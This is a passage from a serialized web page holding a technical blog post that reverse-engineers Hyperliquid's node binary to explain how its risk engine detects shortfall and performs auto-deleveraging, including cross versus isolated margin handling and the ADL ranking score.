,[4776,26],[159689],{"type":21,"tag":85,"props":159690,"children":159692},{"className":159691},[4776],[159693],{"type":26,"value":159694},"notional",{"type":21,"tag":85,"props":159696,"children":159698},{"className":159697},[4776],[159699],{"type":26,"value":159684},{"type":21,"tag":85,"props":159701,"children":159703},{"className":159702},[22173],[159704],{"type":26,"value":22176},{"type":21,"tag":85,"props":159706,"children":159708},{"className":159707},[4803],[159709],{"type":21,"tag":85,"props":159710,"children":159713},{"className":159711,"style":159712},[4808],"height:0.8804em;",[159714],{"type":21,"tag":85,"props":159715,"children":159716},{},[],{"type":21,"tag":85,"props":159718,"children":159720},{"className":159719},[22167,114027],[],{"type":21,"tag":54,"props":159722,"children":159724},{"id":159723},"what-if-nobody-wants-to-buy-the-position",[159725],{"type":26,"value":159726},"What If Nobody Wants to Buy the Position?",{"type":21,"tag":22,"props":159728,"children":159729},{},[159730],{"type":26,"value":159731},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":21,"tag":22,"props":159733,"children":159734},{},[159735,159737,159742],{"type":26,"value":159736},"When that happens, the exchange is basically left with a ",{"type":21,"tag":39,"props":159738,"children":159739},{},[159740],{"type":26,"value":159741},"hot potato",{"type":26,"value":159743}," to get rid of: what should it even do with the debt?",{"type":21,"tag":35820,"props":159745,"children":159747},{"id":159746},"the-risk-engine",[159748],{"type":26,"value":159749},"The Risk Engine",{"type":21,"tag":22,"props":159751,"children":159752},{},[159753],{"type":26,"value":159754},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":21,"tag":54,"props":159756,"children":159758},{"id":159757},"clearing-up-bad-debt",[159759],{"type":26,"value":159760},"Clearing Up Bad Debt",{"type":21,"tag":22,"props":159762,"children":159763},{},[159764,159765,159772],{"type":26,"value":17034},{"type":21,"tag":335,"props":159766,"children":159769},{"href":159767,"rel":159768},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[339],[159770],{"type":26,"value":159771},"Hyperliquid docs",{"type":26,"value":159773}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":21,"tag":22,"props":159775,"children":159776},{},[159777,159779,159790,159792,159798,159800,159806],{"type":26,"value":159778},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":21,"tag":335,"props":159780,"children":159783},{"href":159781,"rel":159782},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[339],[159784],{"type":21,"tag":66,"props":159785,"children":159787},{"className":159786},[],[159788],{"type":26,"value":159789},"Clearinghouse",{"type":26,"value":159791},", a struct containing all liquidation-related info, nested within a bigger ",{"type":21,"tag":66,"props":159793,"children":159795},{"className":159794},[],[159796],{"type":26,"value":159797},"Exchange",{"type":26,"value":159799}," data structure. This is an example of what it might hold when serialized as ",{"type":21,"tag":66,"props":159801,"children":159803},{"className":159802},[],[159804],{"type":26,"value":159805},"MessagePack",{"type":26,"value":159807}," at runtime.",{"type":21,"tag":22,"props":159809,"children":159810},{},[159811],{"type":26,"value":159812},"This data will come in handy both for us and the agent.",{"type":21,"tag":159814,"props":159815,"children":159817},"file-download",{"path":159816},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":21,"tag":22,"props":159819,"children":159820},{},[159821,159823,159828],{"type":26,"value":159822},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":21,"tag":66,"props":159824,"children":159826},{"className":159825},[],[159827],{"type":26,"value":159789},{"type":26,"value":159829},". Some renaming later, we can infer something like this:",{"type":21,"tag":159508,"props":159831,"children":159835},{"source":159832,"target":159833,"direction":159834},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":21,"tag":22,"props":159837,"children":159838},{},[159839,159841,159846,159848,159854],{"type":26,"value":159840},"We have one huge function handling all clearinghouse operations, which we call ",{"type":21,"tag":66,"props":159842,"children":159844},{"className":159843},[],[159845],{"type":26,"value":159833},{"type":26,"value":159847},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":21,"tag":66,"props":159849,"children":159851},{"className":159850},[],[159852],{"type":26,"value":159853},"exchange_end_block",{"type":26,"value":159855},". So, at the end of each block we run some checks.",{"type":21,"tag":159477,"props":159857,"children":159858},{},[159859],{"type":21,"tag":22,"props":159860,"children":159861},{},[159862],{"type":26,"value":159863},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":21,"tag":22,"props":159865,"children":159866},{},[159867,159869,159875],{"type":26,"value":159868},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":21,"tag":66,"props":159870,"children":159872},{"className":159871},[],[159873],{"type":26,"value":159874},"clearinghouse.perform_auto_deleveraging",{"type":26,"value":159876}," flag.",{"type":21,"tag":159508,"props":159878,"children":159882},{"addr":159879,"line-start":159880,"line-end":159881},"0x555556ac3850","3290","3301",[],{"type":21,"tag":22,"props":159884,"children":159885},{},[159886,159888,159893],{"type":26,"value":159887},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":21,"tag":66,"props":159889,"children":159891},{"className":159890},[],[159892],{"type":26,"value":159789},{"type":26,"value":3927},{"type":21,"tag":10022,"props":159895,"children":159897},{"id":159896},"threshold-condition",[159898],{"type":26,"value":159899},"Threshold Condition",{"type":21,"tag":22,"props":159901,"children":159902},{},[159903,159905,159910],{"type":26,"value":159904},"The natural connection between liquidations and ADL is ",{"type":21,"tag":39,"props":159906,"children":159907},{},[159908],{"type":26,"value":159909},"shortfall",{"type":26,"value":159911},": by how much a position, or the entire system (!), is underwater.",{"type":21,"tag":22,"props":159913,"children":159914},{},[159915],{"type":26,"value":159916},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":21,"tag":19318,"props":159918,"children":159920},{"id":159919},"who-is-underwater",[159921],{"type":26,"value":159922},"Who Is Underwater?",{"type":21,"tag":22,"props":159924,"children":159925},{},[159926,159928,159933,159935,159941],{"type":26,"value":159927},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":21,"tag":66,"props":159929,"children":159931},{"className":159930},[],[159932],{"type":26,"value":159833},{"type":26,"value":159934},", starting from all user positions, which are stored in ",{"type":21,"tag":66,"props":159936,"children":159938},{"className":159937},[],[159939],{"type":26,"value":159940},"clearinghouse.user_states",{"type":26,"value":159942},", as we can also see from the serialization.",{"type":21,"tag":159477,"props":159944,"children":159945},{},[159946],{"type":21,"tag":22,"props":159947,"children":159948},{},[159949],{"type":26,"value":159950},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":21,"tag":159508,"props":159952,"children":159956},{"source":159953,"target":159853,"direction":159954,"path":159955},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":21,"tag":22,"props":159958,"children":159959},{},[159960,159961,159966,159968,159974,159976,159982,159984,159990],{"type":26,"value":17034},{"type":21,"tag":66,"props":159962,"children":159964},{"className":159963},[],[159965],{"type":26,"value":159953},{"type":26,"value":159967}," essentially turns that into an ",{"type":21,"tag":66,"props":159969,"children":159971},{"className":159970},[],[159972],{"type":26,"value":159973},"Iter",{"type":26,"value":159975},", then, inside of ",{"type":21,"tag":66,"props":159977,"children":159979},{"className":159978},[],[159980],{"type":26,"value":159981},"build_adl_candidate_set",{"type":26,"value":159983}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":21,"tag":66,"props":159985,"children":159987},{"className":159986},[],[159988],{"type":26,"value":159989},"AdlIterEntry",{"type":26,"value":58783},{"type":21,"tag":159508,"props":159992,"children":159994},{"type-name":159993},"AdlIterContext",[],{"type":21,"tag":22,"props":159996,"children":159997},{},[159998,160000,160006,160008,160014,160016,160022,160024,160029],{"type":26,"value":159999},"Note that in storage, ",{"type":21,"tag":66,"props":160001,"children":160003},{"className":160002},[],[160004],{"type":26,"value":160005},"Isolated",{"type":26,"value":160007}," positions have their own independent ",{"type":21,"tag":66,"props":160009,"children":160011},{"className":160010},[],[160012],{"type":26,"value":160013},"Entry",{"type":26,"value":160015}," in the position iterators, and ",{"type":21,"tag":66,"props":160017,"children":160019},{"className":160018},[],[160020],{"type":26,"value":160021},"Cross",{"type":26,"value":160023}," positions have a single common ",{"type":21,"tag":66,"props":160025,"children":160027},{"className":160026},[],[160028],{"type":26,"value":160013},{"type":26,"value":160030},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":21,"tag":159508,"props":160032,"children":160035},{"addr":160033,"line-start":44707,"line-end":160034},"0x555556266b10","163",[],{"type":21,"tag":22,"props":160037,"children":160038},{},[160039],{"type":26,"value":160040},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":21,"tag":159508,"props":160042,"children":160045},{"addr":159879,"line-start":160043,"line-end":160044},"506","527",[],{"type":21,"tag":22,"props":160047,"children":160048},{},[160049,160051],{"type":26,"value":160050},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":21,"tag":160052,"props":160053,"children":160056},"bndb-xref",{"lines":160054,"addrs":160055},"1-2","0x555556ac3e18-0x555556ac3e18",[160057],{"type":26,"value":160058},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":21,"tag":22,"props":160060,"children":160061},{},[160062,160064,160070,160072,160078,160080,160086,160088,160094],{"type":26,"value":160063},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":21,"tag":66,"props":160065,"children":160067},{"className":160066},[],[160068],{"type":26,"value":160069},"only_isolated",{"type":26,"value":160071}," (or ",{"type":21,"tag":66,"props":160073,"children":160075},{"className":160074},[],[160076],{"type":26,"value":160077},"strict_isolated",{"type":26,"value":160079}," in MessagePack dumps) are added to a separate queue, ",{"type":21,"tag":66,"props":160081,"children":160083},{"className":160082},[],[160084],{"type":26,"value":160085},"deferred_queue",{"type":26,"value":160087},", which triggers ADL regardless of the system's ",{"type":21,"tag":66,"props":160089,"children":160091},{"className":160090},[],[160092],{"type":26,"value":160093},"total_shortfall",{"type":26,"value":160095},". This is dictated by this branch.",{"type":21,"tag":159508,"props":160097,"children":160100},{"addr":159879,"line-start":160098,"line-end":160099},"211","243",[],{"type":21,"tag":22,"props":160102,"children":160103},{},[160104,160106,160113],{"type":26,"value":160105},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":21,"tag":335,"props":160107,"children":160110},{"href":160108,"rel":160109},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[339],[160111],{"type":26,"value":160112},"March 2025 incident",{"type":26,"value":160114},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":21,"tag":19318,"props":160116,"children":160118},{"id":160117},"how-do-we-get-rid-of-debt",[160119],{"type":26,"value":160120},"How Do We Get Rid of Debt?",{"type":21,"tag":22,"props":160122,"children":160123},{},[160124],{"type":26,"value":160125},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":21,"tag":22,"props":160127,"children":160128},{},[160129,160131,160136,160138,160143,160145,160150],{"type":26,"value":160130},"Thus, if the debt is insurmountable, the ",{"type":21,"tag":66,"props":160132,"children":160134},{"className":160133},[],[160135],{"type":26,"value":160085},{"type":26,"value":160137}," is overwritten by all the users marked by ",{"type":21,"tag":66,"props":160139,"children":160141},{"className":160140},[],[160142],{"type":26,"value":159981},{"type":26,"value":160144},", otherwise we keep it and only holders of underwater ",{"type":21,"tag":66,"props":160146,"children":160148},{"className":160147},[],[160149],{"type":26,"value":160077},{"type":26,"value":160151}," positions from the earlier loop are considered for ADL.",{"type":21,"tag":159477,"props":160153,"children":160154},{},[160155],{"type":21,"tag":22,"props":160156,"children":160157},{},[160158],{"type":26,"value":160159},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":21,"tag":159508,"props":160161,"children":160164},{"addr":159879,"line-start":160162,"line-end":160163},"523","526",[],{"type":21,"tag":22,"props":160166,"children":160167},{},[160168,160170,160176,160178,160184,160186,160191],{"type":26,"value":160169},"For each underwater position, we do a ",{"type":21,"tag":160052,"props":160171,"children":160173},{"addrs":160172},"0x555556ac42ad-0x555556ac42be",[160174],{"type":26,"value":160175},"B-tree lookup",{"type":26,"value":160177}," on ",{"type":21,"tag":66,"props":160179,"children":160181},{"className":160180},[],[160182],{"type":26,"value":160183},"clearinghouse.user_states[position.user]",{"type":26,"value":160185},", adding them to a ",{"type":21,"tag":66,"props":160187,"children":160189},{"className":160188},[],[160190],{"type":26,"value":17633},{"type":26,"value":160192}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":21,"tag":159508,"props":160194,"children":160197},{"addr":159879,"line-start":160195,"line-end":160196},"635","658",[],{"type":21,"tag":22,"props":160199,"children":160200},{},[160201],{"type":26,"value":160202},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":21,"tag":75,"props":160204,"children":160205},{},[160206],{"type":21,"tag":66,"props":160207,"children":160209},{"className":160208},[4748,159536],[160210],{"type":21,"tag":85,"props":160211,"children":160213},{"className":160212},[159541],[160214],{"type":21,"tag":85,"props":160215,"children":160217},{"className":160216},[4754],[160218],{"type":21,"tag":85,"props":160219,"children":160221},{"className":160220,"ariaHidden":4760},[4759],[160222],{"type":21,"tag":85,"props":160223,"children":160225},{"className":160224},[4765],[160226,160231],{"type":21,"tag":85,"props":160227,"children":160230},{"className":160228,"style":160229},[4770],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":21,"tag":85,"props":160232,"children":160234},{"className":160233},[4776],[160235],{"type":21,"tag":85,"props":160236,"children":160239},{"className":160237},[160238],"mtable",[160240,160320],{"type":21,"tag":85,"props":160241,"children":160244},{"className":160242},[160243],"col-align-r",[160245],{"type":21,"tag":85,"props":160246,"children":160248},{"className":160247},[4798,22070],[160249,160308],{"type":21,"tag":85,"props":160250,"children":160252},{"className":160251},[4803],[160253,160303],{"type":21,"tag":85,"props":160254,"children":160257},{"className":160255,"style":160256},[4808],"height:2.3452em;",[160258,160281],{"type":21,"tag":85,"props":160259,"children":160261},{"style":160260},"top:-4.3452em;",[160262,160267],{"type":21,"tag":85,"props":160263,"children":160266},{"className":160264,"style":160265},[4817],"height:3.3944em;",[],{"type":21,"tag":85,"props":160268,"children":160270},{"className":160269},[4776],[160271],{"type":21,"tag":85,"props":160272,"children":160274},{"className":160273},[4776,26],[160275],{"type":21,"tag":85,"props":160276,"children":160278},{"className":160277},[4776],[160279],{"type":26,"value":160280},"position_weight",{"type":21,"tag":85,"props":160282,"children":160284},{"style":160283},"top:-2.2092em;",[160285,160289],{"type":21,"tag":85,"props":160286,"children":160288},{"className":160287,"style":160265},[4817],[],{"type":21,"tag":85,"props":160290,"children":160292},{"className":160291},[4776],[160293],{"type":21,"tag":85,"props":160294,"children":160296},{"className":160295},[4776,26],[160297],{"type":21,"tag":85,"props":160298,"children":160300},{"className":160299},[4776],[160301],{"type":26,"value":160302},"position_adl_amount",{"type":21,"tag":85,"props":160304,"children":160306},{"className":160305},[22173],[160307],{"type":26,"value":22176},{"type":21,"tag":85,"props":160309,"children":160311},{"className":160310},[4803],[160312],{"type":21,"tag":85,"props":160313,"children":160316},{"className":160314,"style":160315},[4808],"height:1.8452em;",[160317],{"type":21,"tag":85,"props":160318,"children":160319},{},[],{"type":21,"tag":85,"props":160321,"children":160324},{"className":160322},[160323],"col-align-l",[160325],{"type":21,"tag":85,"props":160326,"children":160328},{"className":160327},[4798,22070],[160329,160530],{"type":21,"tag":85,"props":160330,"children":160332},{"className":160331},[4803],[160333,160525],{"type":21,"tag":85,"props":160334,"children":160336},{"className":160335,"style":160256},[4808],[160337,160465],{"type":21,"tag":85,"props":160338,"children":160339},{"style":160260},[160340,160344],{"type":21,"tag":85,"props":160341,"children":160343},{"className":160342,"style":160265},[4817],[],{"type":21,"tag":85,"props":160345,"children":160347},{"className":160346},[4776],[160348,160352,160356,160361,160365],{"type":21,"tag":85,"props":160349,"children":160351},{"className":160350},[4776],[],{"type":21,"tag":85,"props":160353,"children":160355},{"className":160354,"style":4955},[4857],[],{"type":21,"tag":85,"props":160357,"children":160359},{"className":160358},[4960],[160360],{"type":26,"value":741},{"type":21,"tag":85,"props":160362,"children":160364},{"className":160363,"style":4955},[4857],[],{"type":21,"tag":85,"props":160366,"children":160368},{"className":160367},[4776],[160369,160373,160461],{"type":21,"tag":85,"props":160370,"children":160372},{"className":160371},[22145,114027],[],{"type":21,"tag":85,"props":160374,"children":160376},{"className":160375},[114032],[160377],{"type":21,"tag":85,"props":160378,"children":160380},{"className":160379},[4798,22070],[160381,160449],{"type":21,"tag":85,"props":160382,"children":160384},{"className":160383},[4803],[160385,160444],{"type":21,"tag":85,"props":160386,"children":160389},{"className":160387,"style":160388},[4808],"height:1.3944em;",[160390,160411,160422],{"type":21,"tag":85,"props":160391,"children":160392},{"style":159618},[160393,160397],{"type":21,"tag":85,"props":160394,"children":160396},{"className":160395,"style":112680},[4817],[],{"type":21,"tag":85,"props":160398,"children":160400},{"className":160399},[4776],[160401],{"type":21,"tag":85,"props":160402,"children":160404},{"className":160403},[4776,26],[160405],{"type":21,"tag":85,"props":160406,"children":160408},{"className":160407},[4776],[160409],{"type":26,"value":160410},"total_cross_notional",{"type":21,"tag":85,"props":160412,"children":160413},{"style":114082},[160414,160418],{"type":21,"tag":85,"props":160415,"children":160417},{"className":160416,"style":112680},[4817],[],{"type":21,"tag":85,"props":160419,"children":160421},{"className":160420,"style":114092},[114091],[],{"type":21,"tag":85,"props":160423,"children":160425},{"style":160424},"top:-3.7em;",[160426,160430],{"type":21,"tag":85,"props":160427,"children":160429},{"className":160428,"style":112680},[4817],[],{"type":21,"tag":85,"props":160431,"children":160433},{"className":160432},[4776],[160434],{"type":21,"tag":85,"props":160435,"children":160437},{"className":160436},[4776,26],[160438],{"type":21,"tag":85,"props":160439,"children":160441},{"className":160440},[4776],[160442],{"type":26,"value":160443},"position_notional",{"type":21,"tag":85,"props":160445,"children":160447},{"className":160446},[22173],[160448],{"type":26,"value":22176},{"type":21,"tag":85,"props":160450,"children":160452},{"className":160451},[4803],[160453],{"type":21,"tag":85,"props":160454,"children":160457},{"className":160455,"style":160456},[4808],"height:0.996em;",[160458],{"type":21,"tag":85,"props":160459,"children":160460},{},[],{"type":21,"tag":85,"props":160462,"children":160464},{"className":160463},[22167,114027],[],{"type":21,"tag":85,"props":160466,"children":160467},{"style":160283},[160468,160472],{"type":21,"tag":85,"props":160469,"children":160471},{"className":160470,"style":160265},[4817],[],{"type":21,"tag":85,"props":160473,"children":160475},{"className":160474},[4776],[160476,160480,160484,160489,160493,160503,160507,160512,160516],{"type":21,"tag":85,"props":160477,"children":160479},{"className":160478},[4776],[],{"type":21,"tag":85,"props":160481,"children":160483},{"className":160482,"style":4955},[4857],[],{"type":21,"tag":85,"props":160485,"children":160487},{"className":160486},[4960],[160488],{"type":26,"value":741},{"type":21,"tag":85,"props":160490,"children":160492},{"className":160491,"style":4955},[4857],[],{"type":21,"tag":85,"props":160494,"children":160496},{"className":160495},[4776,26],[160497],{"type":21,"tag":85,"props":160498,"children":160500},{"className":160499},[4776],[160501],{"type":26,"value":160502},"user_shortfall",{"type":21,"tag":85,"props":160504,"children":160506},{"className":160505,"style":4858},[4857],[],{"type":21,"tag":85,"props":160508,"children":160510},{"className":160509},[4863],[160511],{"type":26,"value":111771},{"type":21,"tag":85,"props":160513,"children":160515},{"className":160514,"style":4858},[4857],[],{"type":21,"tag":85,"props":160517,"children":160519},{"className":160518},[4776,26],[160520],{"type":21,"tag":85,"props":160521,"children":160523},{"className":160522},[4776],[160524],{"type":26,"value":160280},{"type":21,"tag":85,"props":160526,"children":160528},{"className":160527},[22173],[160529],{"type":26,"value":22176},{"type":21,"tag":85,"props":160531,"children":160533},{"className":160532},[4803],[160534],{"type":21,"tag":85,"props":160535,"children":160537},{"className":160536,"style":160315},[4808],[160538],{"type":21,"tag":85,"props":160539,"children":160540},{},[],{"type":21,"tag":22,"props":160542,"children":160543},{},[160544],{"type":26,"value":160545},"We do that here:",{"type":21,"tag":159508,"props":160547,"children":160550},{"addr":159879,"line-start":160548,"line-end":160549},"828","981",[],{"type":21,"tag":22,"props":160552,"children":160553},{},[160554,160555,160561,160563,160569],{"type":26,"value":17034},{"type":21,"tag":160052,"props":160556,"children":160558},{"lines":160557},"77-79",[160559],{"type":26,"value":160560},"inner loop",{"type":26,"value":160562}," above spans all ",{"type":21,"tag":66,"props":160564,"children":160566},{"className":160565},[],[160567],{"type":26,"value":160568},"(asset_idx, direction)",{"type":26,"value":160570}," held in the cross margin position.",{"type":21,"tag":22,"props":160572,"children":160573},{},[160574,160576,160582,160584,160590,160591,160597],{"type":26,"value":160575},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":21,"tag":66,"props":160577,"children":160579},{"className":160578},[],[160580],{"type":26,"value":160581},"adl_output",{"type":26,"value":160583}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":21,"tag":66,"props":160585,"children":160587},{"className":160586},[],[160588],{"type":26,"value":160589},"position_id",{"type":26,"value":11408},{"type":21,"tag":66,"props":160592,"children":160594},{"className":160593},[],[160595],{"type":26,"value":160596},"position_shortfall",{"type":26,"value":73},{"type":21,"tag":159508,"props":160599,"children":160602},{"addr":159879,"line-start":160600,"line-end":160601},"2377","2469",[],{"type":21,"tag":22,"props":160604,"children":160605},{},[160606,160608,160614],{"type":26,"value":160607},"Afterwards we can finally loop over the B-tree containing ",{"type":21,"tag":66,"props":160609,"children":160611},{"className":160610},[],[160612],{"type":26,"value":160613},"(position_id, cut)",{"type":26,"value":160615},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":21,"tag":22,"props":160617,"children":160618},{},[160619,160621,160626],{"type":26,"value":160620},"The final phase of ",{"type":21,"tag":66,"props":160622,"children":160624},{"className":160623},[],[160625],{"type":26,"value":159833},{"type":26,"value":160627}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":21,"tag":159508,"props":160629,"children":160632},{"addr":159879,"addr-start":160630,"addr-end":160631},"0x555556ac6d52","0x555556ac6de8",[],{"type":21,"tag":22,"props":160634,"children":160635},{},[160636],{"type":26,"value":160637},"How are positions chosen (sorted) to be deleveraged?",{"type":21,"tag":35820,"props":160639,"children":160641},{"id":160640},"who-do-we-deleverage",[160642],{"type":26,"value":160643},"Who Do We Deleverage?",{"type":21,"tag":22,"props":160645,"children":160646},{},[160647],{"type":26,"value":160648},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":21,"tag":22,"props":160650,"children":160651},{},[160652],{"type":26,"value":160653},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":21,"tag":22,"props":160655,"children":160656},{},[160657,160659,160666],{"type":26,"value":160658},"More formally, fairness can be given multiple related definitions; see ",{"type":21,"tag":335,"props":160660,"children":160663},{"href":160661,"rel":160662},"https://arxiv.org/abs/2512.01112",[339],[160664],{"type":26,"value":160665},"this paper",{"type":26,"value":160667},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":21,"tag":22,"props":160669,"children":160670},{},[160671],{"type":26,"value":160672},"So, is Hyperliquid fair? Is it always solvent?",{"type":21,"tag":54,"props":160674,"children":160676},{"id":160675},"adl-score-computation",[160677],{"type":26,"value":160678},"ADL Score Computation",{"type":21,"tag":22,"props":160680,"children":160681},{},[160682,160684,160690,160692,160698,160700,160705],{"type":26,"value":160683},"The score function at ",{"type":21,"tag":66,"props":160685,"children":160687},{"className":160686},[],[160688],{"type":26,"value":160689},"compute_adl_ranking_score",{"type":26,"value":160691}," is core to answering this question. It's defined, most likely as an ",{"type":21,"tag":66,"props":160693,"children":160695},{"className":160694},[],[160696],{"type":26,"value":160697},"Ord",{"type":26,"value":160699}," implementation on some 20-byte address representation. A ",{"type":21,"tag":66,"props":160701,"children":160703},{"className":160702},[],[160704],{"type":26,"value":17633},{"type":26,"value":160706}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":21,"tag":22,"props":160708,"children":160709},{},[160710,160712,160717,160719,160725,160727,160734,160736,160743],{"type":26,"value":160711},"Those sort routines are ",{"type":21,"tag":39,"props":160713,"children":160714},{},[160715],{"type":26,"value":160716},"generated by the compiler",{"type":26,"value":160718},": since Rust binaries include a lot of metadata by default in ",{"type":21,"tag":66,"props":160720,"children":160722},{"className":160721},[],[160723],{"type":26,"value":160724},".comment",{"type":26,"value":160726},", we may even manually ",{"type":21,"tag":335,"props":160728,"children":160731},{"href":160729,"rel":160730},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[339],[160732],{"type":26,"value":160733},"take advantage",{"type":26,"value":160735}," of this to recover the ",{"type":21,"tag":335,"props":160737,"children":160740},{"href":160738,"rel":160739},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[339],[160741],{"type":26,"value":160742},"exact source of library functions",{"type":26,"value":73},{"type":21,"tag":22,"props":160745,"children":160746},{},[160747,160749,160754],{"type":26,"value":160748},"Let's see how this ties back into the ",{"type":21,"tag":66,"props":160750,"children":160752},{"className":160751},[],[160753],{"type":26,"value":159833},{"type":26,"value":172},{"type":21,"tag":159508,"props":160756,"children":160758},{"source":159833,"target":160689,"direction":159834,"path":160757},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":21,"tag":22,"props":160760,"children":160761},{},[160762],{"type":26,"value":160763},"And here's the main call site used for sorting:",{"type":21,"tag":159508,"props":160765,"children":160768},{"addr":159879,"line-start":160766,"line-end":160767},"2806","2814",[],{"type":21,"tag":54,"props":160770,"children":160772},{"id":160771},"ratio-1-effective-leverage",[160773],{"type":26,"value":160774},"Ratio 1: Effective Leverage",{"type":21,"tag":75,"props":160776,"children":160777},{},[160778],{"type":21,"tag":66,"props":160779,"children":160781},{"className":160780},[4748,159536],[160782],{"type":21,"tag":85,"props":160783,"children":160785},{"className":160784},[159541],[160786],{"type":21,"tag":85,"props":160787,"children":160789},{"className":160788},[4754],[160790],{"type":21,"tag":85,"props":160791,"children":160793},{"className":160792,"ariaHidden":4760},[4759],[160794,160825],{"type":21,"tag":85,"props":160795,"children":160797},{"className":160796},[4765],[160798,160802,160812,160816,160821],{"type":21,"tag":85,"props":160799,"children":160801},{"className":160800,"style":115564},[4770],[],{"type":21,"tag":85,"props":160803,"children":160805},{"className":160804},[4776,26],[160806],{"type":21,"tag":85,"props":160807,"children":160809},{"className":160808},[4776],[160810],{"type":26,"value":160811},"effective leverage",{"type":21,"tag":85,"props":160813,"children":160815},{"className":160814,"style":4955},[4857],[],{"type":21,"tag":85,"props":160817,"children":160819},{"className":160818},[4960],[160820],{"type":26,"value":741},{"type":21,"tag":85,"props":160822,"children":160824},{"className":160823,"style":4955},[4857],[],{"type":21,"tag":85,"props":160826,"children":160828},{"className":160827},[4765],[160829,160834],{"type":21,"tag":85,"props":160830,"children":160833},{"className":160831,"style":160832},[4770],"height:2.113em;vertical-align:-0.686em;",[],{"type":21,"tag":85,"props":160835,"children":160837},{"className":160836},[4776],[160838,160842,160937],{"type":21,"tag":85,"props":160839,"children":160841},{"className":160840},[22145,114027],[],{"type":21,"tag":85,"props":160843,"children":160845},{"className":160844},[114032],[160846],{"type":21,"tag":85,"props":160847,"children":160849},{"className":160848},[4798,22070],[160850,160925],{"type":21,"tag":85,"props":160851,"children":160853},{"className":160852},[4803],[160854,160920],{"type":21,"tag":85,"props":160855,"children":160857},{"className":160856,"style":159614},[4808],[160858,160879,160890],{"type":21,"tag":85,"props":160859,"children":160860},{"style":159618},[160861,160865],{"type":21,"tag":85,"props":160862,"children":160864},{"className":160863,"style":112680},[4817],[],{"type":21,"tag":85,"props":160866,"children":160868},{"className":160867},[4776],[160869],{"type":21,"tag":85,"props":160870,"children":160872},{"className":160871},[4776,26],[160873],{"type":21,"tag":85,"props":160874,"children":160876},{"className":160875},[4776],[160877],{"type":26,"value":160878},"account 